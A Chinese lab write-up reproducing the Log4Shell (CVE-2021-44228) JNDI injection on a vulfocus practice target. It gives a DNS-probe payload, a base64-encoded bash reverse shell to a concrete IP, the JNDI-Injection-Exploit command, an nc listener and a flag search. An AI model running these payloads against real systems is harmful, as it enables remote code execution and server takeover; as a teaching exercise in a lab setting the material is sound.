当前位置: 首页 > news >正文

log4j2 远程代码执行漏洞复现(CVE-2021-44228)-cnblog

log4j2 远程代码执行漏洞复现(CVE-2021-44228)

简介

log4j2

log4j2是 Log4j 的升级版,都是 Java 的日志记录框架,由 Apache 开发维护,用于把程序中的日志信息输出到控制台、文件、数据库等。

Log4j2 中默认支持 JNDI(Java Naming and Directory Interface),如果用户的日志内容可控,就可能触发远程加载恶意类并执行,造成 远程代码执行(RCE)。

JNDI

在 Java 编程中,JNDI(Java Naming and Directory Interface)是一套标准的 API,主要用于访问各种命名和目录服务,如 LDAP、RMI、DNS、JDBC 等。它的作用就像是 Java 世界中的“资源查找器”,允许程序通过统一的方式查找并访问外部资源,比如数据库连接、远程对象或配置服务。在企业级 Java 应用中,JNDI 被广泛用于资源配置与服务定位。然而,JNDI 也可能成为攻击者的突破口。一个著名的安全事件就是 2021 年爆发的 Log4j2 远程代码执行漏洞(Log4Shell),攻击者通过构造恶意的 JNDI 请求(如 ${jndi:ldap://...}),诱导应用程序从远程服务器加载并执行恶意类,从而实现控制服务器的目的。这个事件凸显了 JNDI 在功能强大的同时也存在一定的安全风险。因此,在现代 Java 开发中,建议开发者谨慎使用 JNDI,并加强输入过滤、禁用远程类加载或升级使用的相关组件以确保系统安全。

漏洞复现

这里依旧使用vulfocus在线靶场

image-20250722195833644

点击????

image-20250722195855012

构造payload

${jndi:ldap://${sys:java.version}.example.com}

在dnslog处get一个域名,来替换掉命令中example.com

image-20250722195923735

正常直接拼接payload会发现请求失败

image-20250730000248680

这是因为是 get 请求,很大概率对我们传入的内容进行了 URL 解码,因此我们先对 payload 进行 URL 编码后再传入,可以直接用bp里的模块进行编码

image-20250722200052914

image-20250722200106520

image-20250722200126373

除了能执行简单的命令,反弹 shell 到目标主机端口,这里以 7777 端口为例

bash -i >& /dev/tcp/ip(反弹到的目标主机)/7777 0>&1

用base64编码一下

YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjkuMjI2LjkwLjE4My84ODg4IDA+JjE=

得到

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjkuMjI2LjkwLjE4My84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}

最后完整的JNDI命令

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjkuMjI2LjkwLjE4My83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}" -A "129.226.90.183"

image-20250729234217068

之前通过dnslog看到靶机jdk是1.8版本的,而我这边是java 11,所以选择这个命令

image-20250729235154086

${jndi:rmi://ip/7ffvsn}

再将命令用url编码之后得到payload进行攻击,执行之前先监听一下端口

nc -lvvp 7777

可以看到执行成功

image-20250729235249532回看JNDI

image-20250729234323180

以及shell已经成功反弹到目标主机

image-20250729234348916

使用命令查找flag

find / -name "*flag*"

image-20250729234641503

http://www.vanclimg.com/news/2017.html

相关文章:

  • Luogu-P3455 [POI 2007] ZAP-Queries
  • PDF转Word免费工具!批量处理PDF压缩,合并, OCR识别, 去水印, 签名等全功能详解
  • npm构建公共组件库
  • 空间复杂度 O(1) 解决力扣的困难算法:k个一组翻转链表
  • HotSpot虚拟机对象探秘
  • 6
  • 【设计模式】创建者模式——1.简单工厂模式
  • 智谱 GLM-4.5 也支持了Claude Code
  • 做题记录
  • 若依
  • Rust 性能优化秘籍:write! 宏让字符串构建提速 75%
  • 基于文件对比的技术写作内容碎片统一与上下文还原方法论
  • Rust 编译优化指南:如何让你的代码更小更快?
  • Windows下CMake安装及环境变量配置
  • Rust 字节处理入门指南:掌握 Vec、Cow 和零拷贝技术
  • 408-OS之阻塞IO和非阻塞IO
  • Python中字符串前“b”,“r”,“u”,“f”的作用
  • (个人思考) 直接使用GE,不用Ability
  • goethereum-地址检查 - Charlie
  • js高级第三天
  • 无需重训练即可教语音识别器学习新词
  • llama.cpp编译过程中的cmake版本问题 - Luna
  • 如何高效使用Cursor AI编程助手提升开发效率 | 完整配置与使用指南
  • WPF MVVM 入门学习笔记:从零开始理解 CommunityToolkit 与 ObservableObject 详解
  • 为所有人提供TSC频率:更精准的性能分析与基准测试
  • Js 内存管理和闭包
  • js高级第二天
  • 双向循环链表完整实现与详解
  • CSS 线性渐变
  • VMware ESXi 8.0U3g 发布 - 领先的裸机 Hypervisor